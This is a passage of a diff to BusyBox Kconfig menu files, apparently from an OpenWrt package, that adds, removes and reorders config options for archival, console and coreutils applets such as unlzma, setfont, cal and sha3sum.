-	  This option reduces decompression time by about 25% at the cost of
-	  a 1K bigger binary.
+	  unlzma is a compression utility using the Lempel-Ziv-Markov chain
+	  compression algorithm, and range coding. Compression
+	  is generally considerably better than that achieved by the bzip2
+	  compressors.
+
+	  The BusyBox unlzma applet is limited to decompression only.
+	  On an x86 system, this applet adds about 4K.
 
 config BUSYBOX_CONFIG_LZMA
-	bool "Provide lzma alias which supports only unpacking"
+	bool "lzma -d"
 	default BUSYBOX_DEFAULT_LZMA
-	depends on BUSYBOX_CONFIG_UNLZMA
 	help
 	  Enable this option if you want commands like "lzma -d" to work.
 	  IOW: you'll get lzma applet, but it will always require -d option.
+
+config BUSYBOX_CONFIG_FEATURE_LZMA_FAST
+	bool "Optimize unlzma for speed"
+	default BUSYBOX_DEFAULT_FEATURE_LZMA_FAST
+	depends on BUSYBOX_CONFIG_UNLZMA || BUSYBOX_CONFIG_LZCAT || BUSYBOX_CONFIG_LZMA
+	help
+	  This option reduces decompression time by about 25% at the cost of
+	  a 1K bigger binary.
 config BUSYBOX_CONFIG_UNXZ
 	bool "unxz"
 	default BUSYBOX_DEFAULT_UNXZ
 	help
 	  unxz is a unlzma successor.
 
+config BUSYBOX_CONFIG_XZCAT
+	bool "xzcat"
+	default BUSYBOX_DEFAULT_XZCAT
+	help
+	  Alias to "unxz -c".
+
 config BUSYBOX_CONFIG_XZ
-	bool "Provide xz alias which supports only unpacking"
+	bool "xz -d"
 	default BUSYBOX_DEFAULT_XZ
-	depends on BUSYBOX_CONFIG_UNXZ
 	help
 	  Enable this option if you want commands like "xz -d" to work.
 	  IOW: you'll get xz applet, but it will always require -d option.
@@ -158,7 +186,7 @@ config BUSYBOX_CONFIG_CPIO
 	  cpio has 110 bytes of overheads for every stored file.
 
 	  This implementation of cpio can extract cpio archives created in the
-	  "newc" or "crc" format, it cannot create or modify them.
+	  "newc" or "crc" format.
 
 	  Unless you have a specific application which requires cpio, you
 	  should probably say N here.
@@ -198,16 +226,6 @@ config BUSYBOX_CONFIG_DPKG_DEB
 
 	  Unless you have a specific application which requires dpkg-deb,
 	  say N here.
-
-config BUSYBOX_CONFIG_FEATURE_DPKG_DEB_EXTRACT_ONLY
-	bool "Extract only (-x)"
-	default BUSYBOX_DEFAULT_FEATURE_DPKG_DEB_EXTRACT_ONLY
-	depends on BUSYBOX_CONFIG_DPKG_DEB
-	help
-	  This reduces dpkg-deb to the equivalent of
-	  "ar -p <deb> data.tar.gz | tar -zx". However it saves space as none
-	  of the extra dpkg-deb, ar or tar options are needed, they are linked
-	  to internally.
 config BUSYBOX_CONFIG_GZIP
 	bool "gzip"
 	default BUSYBOX_DEFAULT_GZIP
@@ -249,10 +267,22 @@ config BUSYBOX_CONFIG_LZOP
 	help
 	  Lzop compression/decompresion.
 
+config BUSYBOX_CONFIG_UNLZOP
+	bool "unlzop"
+	default BUSYBOX_DEFAULT_UNLZOP
+	help
+	  Lzop decompresion.
+
+config BUSYBOX_CONFIG_LZOPCAT
+	bool "lzopcat"
+	default BUSYBOX_DEFAULT_LZOPCAT
+	help
+	  Alias to "unlzop -c".
+
 config BUSYBOX_CONFIG_LZOP_COMPR_HIGH
 	bool "lzop compression levels 7,8,9 (not very useful)"
 	default BUSYBOX_DEFAULT_LZOP_COMPR_HIGH
-	depends on BUSYBOX_CONFIG_LZOP
+	depends on BUSYBOX_CONFIG_LZOP || BUSYBOX_CONFIG_UNLZOP || BUSYBOX_CONFIG_LZOPCAT
 	help
 	  High levels (7,8,9) of lzop compression. These levels
 	  are actually slower than gzip at equivalent compression ratios
diff --git a/package/utils/busybox/config/console-tools/Config.in b/package/utils/busybox/config/console-tools/Config.in
index 53937d2..e5a4bfb 100644
--- a/package/utils/busybox/config/console-tools/Config.in
+++ b/package/utils/busybox/config/console-tools/Config.in
@@ -6,7 +6,6 @@
 
 menu "Console Utilities"
 
-
 config BUSYBOX_CONFIG_CHVT
 	bool "chvt"
 	default BUSYBOX_DEFAULT_CHVT
@@ -14,27 +13,17 @@ config BUSYBOX_CONFIG_CHVT
 	help
 	  This program is used to change to another terminal.
 	  Example: chvt 4 (change to terminal /dev/tty4)
-
-config BUSYBOX_CONFIG_FGCONSOLE
-	bool "fgconsole"
-	default BUSYBOX_DEFAULT_FGCONSOLE
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  This program prints active (foreground) console number.
-
 config BUSYBOX_CONFIG_CLEAR
 	bool "clear"
 	default BUSYBOX_DEFAULT_CLEAR
 	help
 	  This program clears the terminal screen.
-
 config BUSYBOX_CONFIG_DEALLOCVT
 	bool "deallocvt"
 	default BUSYBOX_DEFAULT_DEALLOCVT
 	select BUSYBOX_CONFIG_PLATFORM_LINUX
 	help
 	  This program deallocates unused virtual consoles.
-
 config BUSYBOX_CONFIG_DUMPKMAP
 	bool "dumpkmap"
 	default BUSYBOX_DEFAULT_DUMPKMAP
@@ -42,14 +31,18 @@ config BUSYBOX_CONFIG_DUMPKMAP
 	help
 	  This program dumps the kernel's keyboard translation table to
 	  stdout, in binary format. You can then use loadkmap to load it.
-
+config BUSYBOX_CONFIG_FGCONSOLE
+	bool "fgconsole"
+	default BUSYBOX_DEFAULT_FGCONSOLE
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  This program prints active (foreground) console number.
 config BUSYBOX_CONFIG_KBD_MODE
 	bool "kbd_mode"
 	default BUSYBOX_DEFAULT_KBD_MODE
 	select BUSYBOX_CONFIG_PLATFORM_LINUX
 	help
 	  This program reports and sets keyboard mode.
-
 config BUSYBOX_CONFIG_LOADFONT
 	bool "loadfont"
 	default BUSYBOX_DEFAULT_LOADFONT
@@ -57,6 +50,44 @@ config BUSYBOX_CONFIG_LOADFONT
 	help
 	  This program loads a console font from standard input.
 
+config BUSYBOX_CONFIG_SETFONT
+	bool "setfont"
+	default BUSYBOX_DEFAULT_SETFONT
+	select BUSYBOX_CONFIG_PLATFORM_LINUX
+	help
+	  Allows to load console screen map. Useful for i18n.
+
+config BUSYBOX_CONFIG_FEATURE_SETFONT_TEXTUAL_MAP
+	bool "Support reading textual screen maps"
+	default BUSYBOX_DEFAULT_FEATURE_SETFONT_TEXTUAL_MAP
+	depends on BUSYBOX_CONFIG_SETFONT
+	help
+	  Support reading textual screen maps.
+
+config BUSYBOX_CONFIG_DEFAULT_SETFONT_DIR
+	string "Default directory for console-tools files"
+	default BUSYBOX_DEFAULT_DEFAULT_SETFONT_DIR
+	depends on BUSYBOX_CONFIG_SETFONT
+	help
+	  Directory to use if setfont's params are simple filenames
+	  (not /path/to/file or ./file). Default is "" (no default directory).
+
+comment "Common options for loadfont and setfont"
+	depends on BUSYBOX_CONFIG_LOADFONT || BUSYBOX_CONFIG_SETFONT
+
+config BUSYBOX_CONFIG_FEATURE_LOADFONT_PSF2
+	bool "Support for PSF2 console fonts"
+	default BUSYBOX_DEFAULT_FEATURE_LOADFONT_PSF2
+	depends on BUSYBOX_CONFIG_LOADFONT || BUSYBOX_CONFIG_SETFONT
+	help
+	  Support PSF2 console fonts.
+
+config BUSYBOX_CONFIG_FEATURE_LOADFONT_RAW
+	bool "Support for old (raw) console fonts"
+	default BUSYBOX_DEFAULT_FEATURE_LOADFONT_RAW
+	depends on BUSYBOX_CONFIG_LOADFONT || BUSYBOX_CONFIG_SETFONT
+	help
+	  Support old (raw) console fonts.
 config BUSYBOX_CONFIG_LOADKMAP
 	bool "loadkmap"
 	default BUSYBOX_DEFAULT_LOADKMAP
@@ -64,7 +95,6 @@ config BUSYBOX_CONFIG_LOADKMAP
 	help
 	  This program loads a keyboard translation table from
 	  standard input.
-
 config BUSYBOX_CONFIG_OPENVT
 	bool "openvt"
 	default BUSYBOX_DEFAULT_OPENVT
@@ -72,14 +102,12 @@ config BUSYBOX_CONFIG_OPENVT
 	help
 	  This program is used to start a command on an unused
 	  virtual terminal.
-
 config BUSYBOX_CONFIG_RESET
 	bool "reset"
 	default BUSYBOX_DEFAULT_RESET
 	help
 	  This program is used to reset the terminal screen, if it
 	  gets messed up.
-
 config BUSYBOX_CONFIG_RESIZE
 	bool "resize"
 	default BUSYBOX_DEFAULT_RESIZE
@@ -96,7 +124,6 @@ config BUSYBOX_CONFIG_FEATURE_RESIZE_PRINT
 	  the terminal.
 	  E.g.:
 	  COLUMNS=80;LINES=44;export COLUMNS LINES;
-
 config BUSYBOX_CONFIG_SETCONSOLE
 	bool "setconsole"
 	default BUSYBOX_DEFAULT_SETCONSOLE
@@ -111,29 +138,6 @@ config BUSYBOX_CONFIG_FEATURE_SETCONSOLE_LONG_OPTIONS
 	depends on BUSYBOX_CONFIG_SETCONSOLE && BUSYBOX_CONFIG_LONG_OPTS
 	help
 	  Support long options for the setconsole applet.
-
-config BUSYBOX_CONFIG_SETFONT
-	bool "setfont"
-	default BUSYBOX_DEFAULT_SETFONT
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  Allows to load console screen map. Useful for i18n.
-
-config BUSYBOX_CONFIG_FEATURE_SETFONT_TEXTUAL_MAP
-	bool "Support reading textual screen maps"
-	default BUSYBOX_DEFAULT_FEATURE_SETFONT_TEXTUAL_MAP
-	depends on BUSYBOX_CONFIG_SETFONT
-	help
-	  Support reading textual screen maps.
-
-config BUSYBOX_CONFIG_DEFAULT_SETFONT_DIR
-	string "Default directory for console-tools files"
-	default BUSYBOX_DEFAULT_DEFAULT_SETFONT_DIR
-	depends on BUSYBOX_CONFIG_SETFONT
-	help
-	  Directory to use if setfont's params are simple filenames
-	  (not /path/to/file or ./file). Default is "" (no default directory).
-
 config BUSYBOX_CONFIG_SETKEYCODES
 	bool "setkeycodes"
 	default BUSYBOX_DEFAULT_SETKEYCODES
@@ -141,14 +145,12 @@ config BUSYBOX_CONFIG_SETKEYCODES
 	help
 	  This program loads entries into the kernel's scancode-to-keycode
 	  map, allowing unusual keyboards to generate usable keycodes.
-
 config BUSYBOX_CONFIG_SETLOGCONS
 	bool "setlogcons"
 	default BUSYBOX_DEFAULT_SETLOGCONS
 	select BUSYBOX_CONFIG_PLATFORM_LINUX
 	help
 	  This program redirects the output console of kernel messages.
-
 config BUSYBOX_CONFIG_SHOWKEY
 	bool "showkey"
 	default BUSYBOX_DEFAULT_SHOWKEY
@@ -156,21 +158,4 @@ config BUSYBOX_CONFIG_SHOWKEY
 	help
 	  Shows keys pressed.
 
-comment "Common options for loadfont and setfont"
-	depends on BUSYBOX_CONFIG_LOADFONT || BUSYBOX_CONFIG_SETFONT
-
-config BUSYBOX_CONFIG_FEATURE_LOADFONT_PSF2
-	bool "Support for PSF2 console fonts"
-	default BUSYBOX_DEFAULT_FEATURE_LOADFONT_PSF2
-	depends on BUSYBOX_CONFIG_LOADFONT || BUSYBOX_CONFIG_SETFONT
-	help
-	  Support PSF2 console fonts.
-
-config BUSYBOX_CONFIG_FEATURE_LOADFONT_RAW
-	bool "Support for old (raw) console fonts"
-	default BUSYBOX_DEFAULT_FEATURE_LOADFONT_RAW
-	depends on BUSYBOX_CONFIG_LOADFONT || BUSYBOX_CONFIG_SETFONT
-	help
-	  Support old (raw) console fonts.
-
 endmenu
diff --git a/package/utils/busybox/config/coreutils/Config.in b/package/utils/busybox/config/coreutils/Config.in
index ec5611b..855bcd1 100644
--- a/package/utils/busybox/config/coreutils/Config.in
+++ b/package/utils/busybox/config/coreutils/Config.in
@@ -13,12 +13,82 @@ config BUSYBOX_CONFIG_BASENAME
 	  basename is used to strip the directory and suffix from filenames,
 	  leaving just the filename itself. Enable this option if you wish
 	  to enable the 'basename' utility.
+config BUSYBOX_CONFIG_CAL
+	bool "cal"
+	default BUSYBOX_DEFAULT_CAL
+	help
+	  cal is used to display a monthly calendar.
 config BUSYBOX_CONFIG_CAT
 	bool "cat"
 	default BUSYBOX_DEFAULT_CAT
 	help
 	  cat is used to concatenate files and print them to the standard
 	  output. Enable this option if you wish to enable the 'cat' utility.
+config BUSYBOX_CONFIG_CATV
+	bool "catv"
+	default BUSYBOX_DEFAULT_CATV
+	help
+	  Display nonprinting characters as escape sequences (like some
+	  implementations' cat -v option).
+config BUSYBOX_CONFIG_CHGRP
+	bool "chgrp"
+	default BUSYBOX_DEFAULT_CHGRP
+	help
+	  chgrp is used to change the group ownership of files.
+config BUSYBOX_CONFIG_CHMOD
+	bool "chmod"
+	default BUSYBOX_DEFAULT_CHMOD
+	help
+	  chmod is used to change the access permission of files.
+config BUSYBOX_CONFIG_CHOWN
+	bool "chown"
+	default BUSYBOX_DEFAULT_CHOWN
+	help
+	  chown is used to change the user and/or group ownership
+	  of files.
+
+config BUSYBOX_CONFIG_FEATURE_CHOWN_LONG_OPTIONS
+	bool "Enable long options"
+	default BUSYBOX_DEFAULT_FEATURE_CHOWN_LONG_OPTIONS
+	depends on BUSYBOX_CONFIG_CHOWN && BUSYBOX_CONFIG_LONG_OPTS
+	help
+	  Enable use of long options
+config BUSYBOX_CONFIG_CHROOT
+	bool "chroot"
+	default BUSYBOX_DEFAULT_CHROOT
+	help
+	  chroot is used to change the root directory and run a command.
+	  The default command is `/bin/sh'.
+config BUSYBOX_CONFIG_CKSUM
+	bool "cksum"
+	default BUSYBOX_DEFAULT_CKSUM
+	help
+	  cksum is used to calculate the CRC32 checksum of a file.
+config BUSYBOX_CONFIG_COMM
+	bool "comm"
+	default BUSYBOX_DEFAULT_COMM
+	help
+	  comm is used to compare two files line by line and return
+	  a three-column output.
+config BUSYBOX_CONFIG_CP
+	bool "cp"
+	default BUSYBOX_DEFAULT_CP
+	help
+	  cp is used to copy files and directories.
+
+config BUSYBOX_CONFIG_FEATURE_CP_LONG_OPTIONS
+	bool "Enable long options for cp"
+	default BUSYBOX_DEFAULT_FEATURE_CP_LONG_OPTIONS
+	depends on BUSYBOX_CONFIG_CP && BUSYBOX_CONFIG_LONG_OPTS
+	help
+	  Enable long options for cp.
+	  Also add support for --parents option.
+config BUSYBOX_CONFIG_CUT
+	bool "cut"
+	default BUSYBOX_DEFAULT_CUT
+	help
+	  cut is used to print selected parts of lines from
+	  each file to stdout.
 config BUSYBOX_CONFIG_DATE
 	bool "date"
 	default BUSYBOX_DEFAULT_DATE
@@ -102,231 +172,6 @@ config BUSYBOX_CONFIG_FEATURE_DD_STATUS
 	depends on BUSYBOX_CONFIG_DD
 	help
 	  Enables support for status=noxfer/none option.
-config BUSYBOX_CONFIG_HOSTID
-	bool "hostid"
-	default BUSYBOX_DEFAULT_HOSTID
-	help
-	  hostid prints the numeric identifier (in hexadecimal) for
-	  the current host.
-config BUSYBOX_CONFIG_ID
-	bool "id"
-	default BUSYBOX_DEFAULT_ID
-	help
-	  id displays the current user and group ID names.
-config BUSYBOX_CONFIG_GROUPS
-	bool "groups"
-	default BUSYBOX_DEFAULT_GROUPS
-	help
-	  Print the group names associated with current user id.
-config BUSYBOX_CONFIG_SHUF
-	bool "shuf"
-	default BUSYBOX_DEFAULT_SHUF
-	help
-	  Generate random permutations
-config BUSYBOX_CONFIG_STAT
-	bool "stat"
-	default BUSYBOX_DEFAULT_STAT
-	help
-	  display file or filesystem status.
-
-config BUSYBOX_CONFIG_FEATURE_STAT_FORMAT
-	bool "Enable custom formats (-c)"
-	default BUSYBOX_DEFAULT_FEATURE_STAT_FORMAT
-	depends on BUSYBOX_CONFIG_STAT
-	help
-	  Without this, stat will not support the '-c format' option where
-	  users can pass a custom format string for output. This adds about
-	  7k to a nonstatic build on amd64.
-
-config BUSYBOX_CONFIG_FEATURE_STAT_FILESYSTEM
-	bool "Enable display of filesystem status (-f)"
-	default BUSYBOX_DEFAULT_FEATURE_STAT_FILESYSTEM
-	depends on BUSYBOX_CONFIG_STAT
-	select BUSYBOX_CONFIG_PLATFORM_LINUX # statfs()
-	help
-	  Without this, stat will not support the '-f' option to display
-	  information about filesystem status.
-config BUSYBOX_CONFIG_SYNC
-	bool "sync"
-	default BUSYBOX_DEFAULT_SYNC
-	help
-	  sync is used to flush filesystem buffers.
-config BUSYBOX_CONFIG_FEATURE_SYNC_FANCY
-	bool "Enable -d and -f flags (requres syncfs(2) in libc)"
-	default BUSYBOX_DEFAULT_FEATURE_SYNC_FANCY
-	depends on BUSYBOX_CONFIG_SYNC
-	help
-	  sync -d FILE... executes fdatasync() on each FILE.
-	  sync -f FILE... executes syncfs() on each FILE.
-config BUSYBOX_CONFIG_TEST
-	bool "test"
-	default BUSYBOX_DEFAULT_TEST
-	help
-	  test is used to check file types and compare values,
-	  returning an appropriate exit code. The bash shell
-	  has test built in, ash can build it in optionally.
-
-config BUSYBOX_CONFIG_FEATURE_TEST_64
-	bool "Extend test to 64 bit"
-	default BUSYBOX_DEFAULT_FEATURE_TEST_64
-	depends on BUSYBOX_CONFIG_TEST || BUSYBOX_CONFIG_ASH_BUILTIN_TEST || BUSYBOX_CONFIG_HUSH
-	help
-	  Enable 64-bit support in test.
-config BUSYBOX_CONFIG_TOUCH
-	bool "touch"
-	default BUSYBOX_DEFAULT_TOUCH
-	help
-	  touch is used to create or change the access and/or
-	  modification timestamp of specified files.
-
-config BUSYBOX_CONFIG_FEATURE_TOUCH_NODEREF
-	bool "Add support for -h"
-	default BUSYBOX_DEFAULT_FEATURE_TOUCH_NODEREF
-	depends on BUSYBOX_CONFIG_TOUCH
-	help
-	  Enable touch to have the -h option.
-	  This requires libc support for lutimes() function.
-
-config BUSYBOX_CONFIG_FEATURE_TOUCH_SUSV3
-	bool "Add support for SUSV3 features (-d -t -r)"
-	default BUSYBOX_DEFAULT_FEATURE_TOUCH_SUSV3
-	depends on BUSYBOX_CONFIG_TOUCH
-	help
-	  Enable touch to use a reference file or a given date/time argument.
-config BUSYBOX_CONFIG_TR
-	bool "tr"
-	default BUSYBOX_DEFAULT_TR
-	help
-	  tr is used to squeeze, and/or delete characters from standard
-	  input, writing to standard output.
-
-config BUSYBOX_CONFIG_FEATURE_TR_CLASSES
-	bool "Enable character classes (such as [:upper:])"
-	default BUSYBOX_DEFAULT_FEATURE_TR_CLASSES
-	depends on BUSYBOX_CONFIG_TR
-	help
-	  Enable character classes, enabling commands such as:
-	  tr [:upper:] [:lower:] to convert input into lowercase.
-
-config BUSYBOX_CONFIG_FEATURE_TR_EQUIV
-	bool "Enable equivalence classes"
-	default BUSYBOX_DEFAULT_FEATURE_TR_EQUIV
-	depends on BUSYBOX_CONFIG_TR
-	help
-	  Enable equivalence classes, which essentially add the enclosed
-	  character to the current set. For instance, tr [=a=] xyz would
-	  replace all instances of 'a' with 'xyz'. This option is mainly
-	  useful for cases when no other way of expressing a character
-	  is possible.
-config BUSYBOX_CONFIG_TRUNCATE
-	bool "truncate"
-	default BUSYBOX_DEFAULT_TRUNCATE
-	help
-	  truncate truncates files to a given size. If a file does
-	  not exist, it is created unless told otherwise.
-config BUSYBOX_CONFIG_UNLINK
-	bool "unlink"
-	default BUSYBOX_DEFAULT_UNLINK
-	help
-	  unlink deletes a file by calling unlink()
-config BUSYBOX_CONFIG_BASE64
-	bool "base64"
-	default BUSYBOX_DEFAULT_BASE64
-	help
-	  Base64 encode and decode
-config BUSYBOX_CONFIG_WHO
-      bool "who"
-      default BUSYBOX_DEFAULT_WHO
-      depends on BUSYBOX_CONFIG_FEATURE_UTMP
-      help
-        who is used to show who is logged on.
-config BUSYBOX_CONFIG_USERS
-      bool "users"
-      default BUSYBOX_DEFAULT_USERS
-      depends on BUSYBOX_CONFIG_FEATURE_UTMP
-      help
-        Print users currently logged on.
-
-config BUSYBOX_CONFIG_CAL
-	bool "cal"
-	default BUSYBOX_DEFAULT_CAL
-	help
-	  cal is used to display a monthly calendar.
-
-config BUSYBOX_CONFIG_CATV
-	bool "catv"
-	default BUSYBOX_DEFAULT_CATV
-	help
-	  Display nonprinting characters as escape sequences (like some
-	  implementations' cat -v option).
-
-config BUSYBOX_CONFIG_CHGRP
-	bool "chgrp"
-	default BUSYBOX_DEFAULT_CHGRP
-	help
-	  chgrp is used to change the group ownership of files.
-
-config BUSYBOX_CONFIG_CHMOD
-	bool "chmod"
-	default BUSYBOX_DEFAULT_CHMOD
-	help
-	  chmod is used to change the access permission of files.
-
-config BUSYBOX_CONFIG_CHOWN
-	bool "chown"
-	default BUSYBOX_DEFAULT_CHOWN
-	help
-	  chown is used to change the user and/or group ownership
-	  of files.
-
-config BUSYBOX_CONFIG_FEATURE_CHOWN_LONG_OPTIONS
-	bool "Enable long options"
-	default BUSYBOX_DEFAULT_FEATURE_CHOWN_LONG_OPTIONS
-	depends on BUSYBOX_CONFIG_CHOWN && BUSYBOX_CONFIG_LONG_OPTS
-	help
-	  Enable use of long options
-
-config BUSYBOX_CONFIG_CHROOT
-	bool "chroot"
-	default BUSYBOX_DEFAULT_CHROOT
-	help
-	  chroot is used to change the root directory and run a command.
-	  The default command is `/bin/sh'.
-
-config BUSYBOX_CONFIG_CKSUM
-	bool "cksum"
-	default BUSYBOX_DEFAULT_CKSUM
-	help
-	  cksum is used to calculate the CRC32 checksum of a file.
-
-config BUSYBOX_CONFIG_COMM
-	bool "comm"
-	default BUSYBOX_DEFAULT_COMM
-	help
-	  comm is used to compare two files line by line and return
-	  a three-column output.
-
-config BUSYBOX_CONFIG_CP
-	bool "cp"
-	default BUSYBOX_DEFAULT_CP
-	help
-	  cp is used to copy files and directories.
-
-config BUSYBOX_CONFIG_FEATURE_CP_LONG_OPTIONS
-	bool "Enable long options for cp"
-	default BUSYBOX_DEFAULT_FEATURE_CP_LONG_OPTIONS
-	depends on BUSYBOX_CONFIG_CP && BUSYBOX_CONFIG_LONG_OPTS
-	help
-	  Enable long options for cp.
-	  Also add support for --parents option.
-
-config BUSYBOX_CONFIG_CUT
-	bool "cut"
-	default BUSYBOX_DEFAULT_CUT
-	help
-	  cut is used to print selected parts of lines from
-	  each file to stdout.
-
 config BUSYBOX_CONFIG_DF
 	bool "df"
 	default BUSYBOX_DEFAULT_DF
@@ -344,29 +189,25 @@ config BUSYBOX_CONFIG_FEATURE_DF_FANCY
 	    -a Show all filesystems
 	    -i Inodes
 	    -B <SIZE> Blocksize
-
 config BUSYBOX_CONFIG_DIRNAME
 	bool "dirname"
 	default BUSYBOX_DEFAULT_DIRNAME
 	help
 	  dirname is used to strip a non-directory suffix from
 	  a file name.
-
 config BUSYBOX_CONFIG_DOS2UNIX
-	bool "dos2unix/unix2dos"
+	bool "dos2unix"
 	default BUSYBOX_DEFAULT_DOS2UNIX
 	help
 	  dos2unix is used to convert a text file from DOS format to
 	  UNIX format, and vice versa.
 
 config BUSYBOX_CONFIG_UNIX2DOS
-	bool
+	bool "unix2dos"
 	default BUSYBOX_DEFAULT_UNIX2DOS
-	depends on BUSYBOX_CONFIG_DOS2UNIX
 	help
 	  unix2dos is used to convert a text file from UNIX format to
 	  DOS format, and vice versa.
-
 config BUSYBOX_CONFIG_DU
 	bool "du (default blocksize of 512 bytes)"
 	default BUSYBOX_DEFAULT_DU
@@ -380,7 +221,6 @@ config BUSYBOX_CONFIG_FEATURE_DU_DEFAULT_BLOCKSIZE_1K
 	depends on BUSYBOX_CONFIG_DU
 	help
 	  Use a blocksize of (1K) instead of the default 512b.
-
 config BUSYBOX_CONFIG_ECHO
 	bool "echo (basic SuSv3 version taking no options)"
 	default BUSYBOX_DEFAULT_ECHO
@@ -394,7 +234,6 @@ config BUSYBOX_CONFIG_FEATURE_FANCY_ECHO
 	depends on BUSYBOX_CONFIG_ECHO || BUSYBOX_CONFIG_ASH_BUILTIN_ECHO || BUSYBOX_CONFIG_HUSH
 	help
 	  This adds options (-n and -e) to echo.
-
 config BUSYBOX_CONFIG_ENV
 	bool "env"
 	default BUSYBOX_DEFAULT_ENV
@@ -409,7 +248,6 @@ config BUSYBOX_CONFIG_FEATURE_ENV_LONG_OPTIONS
 	depends on BUSYBOX_CONFIG_ENV && BUSYBOX_CONFIG_LONG_OPTS
 	help
 	  Support long options for the env applet.
-
 config BUSYBOX_CONFIG_EXPAND
 	bool "expand"
 	default BUSYBOX_DEFAULT_EXPAND
@@ -423,6 +261,18 @@ config BUSYBOX_CONFIG_FEATURE_EXPAND_LONG_OPTIONS
 	help
 	  Support long options for the expand applet.
 
+config BUSYBOX_CONFIG_UNEXPAND
+	bool "unexpand"
+	default BUSYBOX_DEFAULT_UNEXPAND
+	help
+	  By default, convert only leading sequences of blanks to tabs.
+
+config BUSYBOX_CONFIG_FEATURE_UNEXPAND_LONG_OPTIONS
+	bool "Enable long options"
+	default BUSYBOX_DEFAULT_FEATURE_UNEXPAND_LONG_OPTIONS
+	depends on BUSYBOX_CONFIG_UNEXPAND && BUSYBOX_CONFIG_LONG_OPTS
+	help
+	  Support long options for the unexpand applet.
 config BUSYBOX_CONFIG_EXPR
 	bool "expr"
 	default BUSYBOX_DEFAULT_EXPR
@@ -438,25 +288,21 @@ config BUSYBOX_CONFIG_EXPR_MATH_SUPPORT_64
 	  Enable 64-bit math support in the expr applet. This will make
 	  the applet slightly larger, but will allow computation with very
 	  large numbers.
-
 config BUSYBOX_CONFIG_FALSE
 	bool "false"
 	default BUSYBOX_DEFAULT_FALSE
 	help
 	  false returns an exit code of FALSE (1).
-
 config BUSYBOX_CONFIG_FOLD
 	bool "fold"
 	default BUSYBOX_DEFAULT_FOLD
 	help
 	  Wrap text to fit a specific width.
-
 config BUSYBOX_CONFIG_FSYNC
 	bool "fsync"
 	default BUSYBOX_DEFAULT_FSYNC
 	help
 	  fsync is used to flush file-related cached blocks to disk.
-
 config BUSYBOX_CONFIG_HEAD
 	bool "head"
 	default BUSYBOX_DEFAULT_HEAD
@@ -469,8 +315,24 @@ config BUSYBOX_CONFIG_FEATURE_FANCY_HEAD
 	default BUSYBOX_DEFAULT_FEATURE_FANCY_HEAD
 	depends on BUSYBOX_CONFIG_HEAD
 	help
-	  This enables the head options (-c, -q, and -v).
+	  This enables the head options (-c, -q, and -v).
+config BUSYBOX_CONFIG_HOSTID
+	bool "hostid"
+	default BUSYBOX_DEFAULT_HOSTID
+	help
+	  hostid prints the numeric identifier (in hexadecimal) for
+	  the current host.
+config BUSYBOX_CONFIG_ID
+	bool "id"
+	default BUSYBOX_DEFAULT_ID
+	help
+	  id displays the current user and group ID names.
 
+config BUSYBOX_CONFIG_GROUPS
+	bool "groups"
+	default BUSYBOX_DEFAULT_GROUPS
+	help
+	  Print the group names associated with current user id.
 config BUSYBOX_CONFIG_INSTALL
 	bool "install"
 	default BUSYBOX_DEFAULT_INSTALL
@@ -483,25 +345,16 @@ config BUSYBOX_CONFIG_FEATURE_INSTALL_LONG_OPTIONS
 	depends on BUSYBOX_CONFIG_INSTALL && BUSYBOX_CONFIG_LONG_OPTS
 	help
 	  Support long options for the install applet.
-
-####config LENGTH
-####	bool "length"
-####	default y
-####	help
-####	  length is used to print out the length of a specified string.
-
 config BUSYBOX_CONFIG_LN
 	bool "ln"
 	default BUSYBOX_DEFAULT_LN
 	help
 	  ln is used to create hard or soft links between files.
-
 config BUSYBOX_CONFIG_LOGNAME
 	bool "logname"
 	default BUSYBOX_DEFAULT_LOGNAME
 	help
 	  logname is used to print the current user's login name.
-
 config BUSYBOX_CONFIG_LS
 	bool "ls"
 	default BUSYBOX_DEFAULT_LS
@@ -567,13 +420,48 @@ config BUSYBOX_CONFIG_FEATURE_LS_COLOR_IS_DEFAULT
 	  This is not recommended, since the colors are not
 	  configurable, and the output may not be legible on
 	  many output screens.
-
 config BUSYBOX_CONFIG_MD5SUM
 	bool "md5sum"
 	default BUSYBOX_DEFAULT_MD5SUM
 	help
 	  md5sum is used to print or check MD5 checksums.
 
+config BUSYBOX_CONFIG_SHA1SUM
+	bool "sha1sum"
+	default BUSYBOX_DEFAULT_SHA1SUM
+	help
+	  Compute and check SHA1 message digest
+
+config BUSYBOX_CONFIG_SHA256SUM
+	bool "sha256sum"
+	default BUSYBOX_DEFAULT_SHA256SUM
+	help
+	  Compute and check SHA256 message digest
+
+config BUSYBOX_CONFIG_SHA512SUM
+	bool "sha512sum"
+	default BUSYBOX_DEFAULT_SHA512SUM
+	help
+	  Compute and check SHA512 message digest
+
+config BUSYBOX_CONFIG_SHA3SUM
+	bool "sha3sum"
+	default BUSYBOX_DEFAULT_SHA3SUM
+	help
+	  Compute and check SHA3 message digest
+
+comment "Common options for md5sum, sha1sum, sha256sum, sha512sum, sha3sum"
+	depends on BUSYBOX_CONFIG_MD5SUM || BUSYBOX_CONFIG_SHA1SUM || BUSYBOX_CONFIG_SHA256SUM || BUSYBOX_CONFIG_SHA512SUM || BUSYBOX_CONFIG_SHA3SUM
+
+config BUSYBOX_CONFIG_FEATURE_MD5_SHA1_SUM_CHECK
+	bool "Enable -c, -s and -w options"
+	default BUSYBOX_DEFAULT_FEATURE_MD5_SHA1_SUM_CHECK
+	depends on BUSYBOX_CONFIG_MD5SUM || BUSYBOX_CONFIG_SHA1SUM || BUSYBOX_CONFIG_SHA256SUM || BUSYBOX_CONFIG_SHA512SUM || BUSYBOX_CONFIG_SHA3SUM
+	help
+	  Enabling the -c options allows files to be checked
+	  against pre-calculated hash values.
+
+	  -s and -w are useful options when verifying checksums.
 config BUSYBOX_CONFIG_MKDIR
 	bool "mkdir"
 	default BUSYBOX_DEFAULT_MKDIR
@@ -586,21 +474,18 @@ config BUSYBOX_CONFIG_FEATURE_MKDIR_LONG_OPTIONS
 	depends on BUSYBOX_CONFIG_MKDIR && BUSYBOX_CONFIG_LONG_OPTS
 	help
 	  Support long options for the mkdir applet.
-
 config BUSYBOX_CONFIG_MKFIFO
 	bool "mkfifo"
 	default BUSYBOX_DEFAULT_MKFIFO
 	help
 	  mkfifo is used to create FIFOs (named pipes).
-	  The `mknod' program can also create FIFOs.
-
+	  The 'mknod' program can also create FIFOs.
 config BUSYBOX_CONFIG_MKNOD
 	bool "mknod"
 	default BUSYBOX_DEFAULT_MKNOD
 	help
